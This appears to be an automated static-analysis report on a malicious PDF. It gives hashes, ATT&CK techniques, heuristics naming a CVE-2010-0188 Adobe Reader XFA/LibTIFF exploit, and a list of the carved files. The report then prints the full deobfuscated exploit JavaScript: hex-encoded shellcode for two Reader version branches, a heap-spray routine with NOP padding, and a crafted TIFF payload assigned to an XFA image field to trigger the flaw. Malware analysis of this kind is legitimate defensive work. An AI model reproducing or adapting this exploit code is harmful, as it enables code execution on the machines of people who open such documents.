Malicious PDF — malware analysis report

Static analysis result for SHA-256 c38c6c7ac08f65a1…

MALICIOUS

PDF

10.6 KB First seen: 2026-05-09
MD5: e7ee5fe38f3f9d009b1c3683011478f5 SHA-1: 3327cae630f6c46b70eaa4f8ebfc8d26cfe96e2d SHA-256: c38c6c7ac08f65a1291254b323fa0e9cb15c8692f0f226f8b82807f74c20bedb
138 Risk Score

Malware Insights

MITRE ATT&CK
T1553.005 Mark-of-the-Web Bypass T1204.002 Malicious File

The PDF sample was flagged by an ML classifier with high confidence as malicious. It contains embedded files and XFA form elements, which are often used to deliver exploits or malicious payloads. The presence of an embedded URL, though benign in reputation, indicates a potential vector for further compromise. The specific embedded files and XFA structure warrant further investigation for exploitability.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 7

  • Adobe Reader LibTIFF XFA image exploit — CVE-2010-0188 critical CVE likely CVE_2010_0188
    PDF contains the CVE-2010-0188 exploit template: XFA JavaScript heap-spray setup, a generated TIFF image payload, and assignment of that TIFF data to an XFA image field rawValue to trigger Adobe Reader's LibTIFF parser.
  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • AcroForm button with action trigger low PDF_ACROFORM_BUTTON
    PDF contains a /Btn form field together with a SubmitForm/URI/Launch/JS trigger — this is the building block of fake 'Download' or 'Open' button overlays used in PDF phishing lures
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://testset.com In PDF document text
    • http://www.xfa.org/schema/xfa-locale-set/2.1/In PDF document text
    • http://ns.adobe.com/xdp/In PDF document text
    • http://www.xfa.org/schema/xci/1.0/In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0041.bin pdf-embedded-file PDF EmbeddedFile object 41 at offset 0xEB5 85 bytes
SHA-256: c06dcd026a7ea0536b63e07ce688691b585339a3ab7ff59065e546b56308c7bb
embedded_file_obj0042.bin pdf-embedded-file PDF EmbeddedFile object 42 at offset 0xF67 1029 bytes
SHA-256: dda0835df994b8be920f715db36452f6cee7bb42bbc9c897f878a7b298ba8e91
embedded_file_obj99999.bin pdf-embedded-file PDF EmbeddedFile object 99999 at offset 0x1183 24875 bytes
SHA-256: 0c737836c6bab4956db7bacc3efc16bb552b8e37ac70d24da1ffa59504e1f723
embedded_file_obj0044.bin pdf-embedded-file PDF EmbeddedFile object 44 at offset 0x2524 144 bytes
SHA-256: 3dd68f00f4fcb366a2a3a17c65cb2626eeddf5ea5713302d374310561d810169
embedded_file_obj0045.bin pdf-embedded-file PDF EmbeddedFile object 45 at offset 0x25D1 77 bytes
SHA-256: 10c03f88a5f0a0833dc5b2c8ac295b3a3c6f65e23889eb8cc1dc6fe29bf7f275
xfa_base26_stage_000.js deobfuscated-js XFA separator-stripped base-26 decoded JavaScript (decompressed, XML-entity decoded) at offset 0x136C 4296 bytes
SHA-256: 3d48f16f7167997681cb7351358c7c5cc6fae0f4cdc67c351f8492c3b8c580d8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s). Carved artifact contains 5 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var padding;var bbb, ccc, ddd, eee, fff, ggg, hhh;var pointers_a, i;var x = new Array();var y = new Array();var _l1="4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f000400004141414141414141"+"000056c62667a6d3b6c68666976286560787d357b6e676e6629613d376365757627613a3a613a37613a3c613a3d613a3f613a3f613a36723a3e613a3e613d3f6d61666b637a657627723a30333a37723a3b613a3d613d31757d646f67687a6f3078607e247361647e6f636f5364766f23746e65637f28626e6f2d6f636e213131313569667f6d6d2271647166716f2f2a30747478607f2a16397646cb1b5a8ac33db10f698e0a8ef89cee0e4e8ffffefc98e8065ffefa600a64c5700f30874af5700f3087431be20bec03c384065ff35c0be3800a64065ff3500a661570c584165ff00a6753500a600a6151440d1448803401ca8950090d1446cc6c646e250d1447c4726077700d1447c159c338eb8c065ff0000008f86350237d2028042447c233327674042447c3776562742407cc042c5d800001040ce1827be20beffffff168e8eb8804c3861ff45d6c62757860000e6f6863eff503c3801e5b8ceb85505910c3805000000ff8604a60585000000008e9f2effffff898e9550a67fb88086b83fbe69304733c0d7080286b8da35be3c95e5ba5c30b840b8dd308db8c04245ffce64d8b4c0b866dd3042e5b8e56e57f1b31fbe04ad30d0bc1c80472f8301ebf0bd335c30dacf14949c335f300267b8655f30875347b8c357b86515c4be9e15574e58424378bf576093643c0304b88bffff0151ee18c2334730c3e5b866bd338067b865c107b8c004b80304b8460c33f59e43574e58cfcf4e3866".split('').reverse().join('').replace(/;/g,'');var _l2="4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a41414141260000000000000000000000000000007188804a6420600f000400004141414141414141"+"000056c62667a6d3b6c68666976286560787d357b6e676e6629613d376365757627613a3a613a37613a3c613a3d613a3f613a3f613a36723a3e613a3e613d3f6d61666b637a657627723a30333a37723a3b613a3d613d31757d646f67687a6f3078607e247361647e6f636f5364766f23746e65637f28626e6f2d6f636e213131313569667f6d6d2271647166716f2f2a30747478607f2a16397646cb1b5a8ac33db10f698e0a8ef89cee0e4e8ffffefc98e8065ffefa600a64c5700f30874af5700f3087431be20bec03c384065ff35c0be3800a64065ff3500a661570c584165ff00a6753500a600a6151440d1448803401ca8950090d1446cc6c646e250d1447c4726077700d1447c159c338eb8c065ff0000008f86350237d2028042447c233327674042447c3776562742407cc042c5d800001040ce1827be20beffffff168e8eb8804c3861ff45d6c62757860000e6f6863eff503c3801e5b8ceb85505910c3805000000ff8604a60585000000008e9f2effffff898e9550a67fb88086b83fbe69304733c0d7080286b8da35be3c95e5ba5c30b840b8dd308db8c04245ffce64d8b4c0b866dd3042e5b8e56e57f1b31fbe04ad30d0bc1c80472f8301ebf0bd335c30dacf14949c335f300267b8655f30875347b8c357b86515c4be9e15574e58424378bf576093643c0304b88bffff0151ee18c2334730c3e5b866bd338067b865c107b8c004b80304b8460c33f59e43574e58cfcf4e3866".split('').reverse().join('').replace(/;/g,'');_l3=app;_l4=new Array();function _l5(){var _l6=_l3.viewerVersion.toString();_l6=_l6.replace('.','');while(_l6.length<4)_l6+='0';return parseInt(_l6,10)}function _l7(_l8,_l9){while(_l8.length*2<_l9)_l8+=_l8;return _l8.substring(0,_l9/2)}function _I0(_I1){_I1=unescape(_I1);roteDak=_I1.length*2;dakRote=unescape('%u9090');spray=_l7(dakRote,0x2000-roteDak);loxWhee=_I1+spray;loxWhee=_l7(loxWhee,524098);for(i=0; i < 400; i++)_l4[i]=loxWhee.substr(0,loxWhee.length-1)+dakRote;}function _I2(_I1,len){while(_I1.length<len)_I1+=_I1;return _I1.substring(0,len)}function _I3(_I1){ret='';for(i=0;i<_I1.length;i+=2){b=_I1.substr(i,2);c=parseInt(b,16);ret+=String.fromCharCode(c);}return ret}function _ji1(_I1,_I4){_I5='';for(_I6=0;_I6<_I1.length;_I6++){_l9=_I4.length;_I7=_I1.charCodeAt(_I6);_I8=_I4.charCodeAt(_I6%_l9);_I5+=String.fromCharCode(_I7^_I8);}return _I5}function _I9(_I6){_j0=_I6.toString(16);_j1=_j0.length;_I5=(_j1%2)?'0'+_j0:_j0;return _I5}function _j2(_I1){_I5='';for(_I6=0;_I6<_I1.length;_I6+=2){_I5+='%u';_I5+=_I9(_I1.charCodeAt(_I6+1));_I5+=_I9(_I1.charCodeAt(_I6))}return _I5}function _j3(){_j4=_l5();if(_j4<9000){_j5='o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';_j6=_l1;_j7=_I3(_j6)}else{_j5='kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';_j6=_l2;_j7=_I3(_j6)}_j8='SUkqADggAABB';_j9=_I2('QUFB',10984);_ll0='QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';_ll1=_j8+_j9+_ll0+_j5;_ll2=_ji1(_j7,'');if(_ll2.length%2)_ll2+=unescape('%00');_ll3=_j2(_ll2);with({k:_ll3})_I0(k);ImageField1.rawValue=_ll1}_j3();

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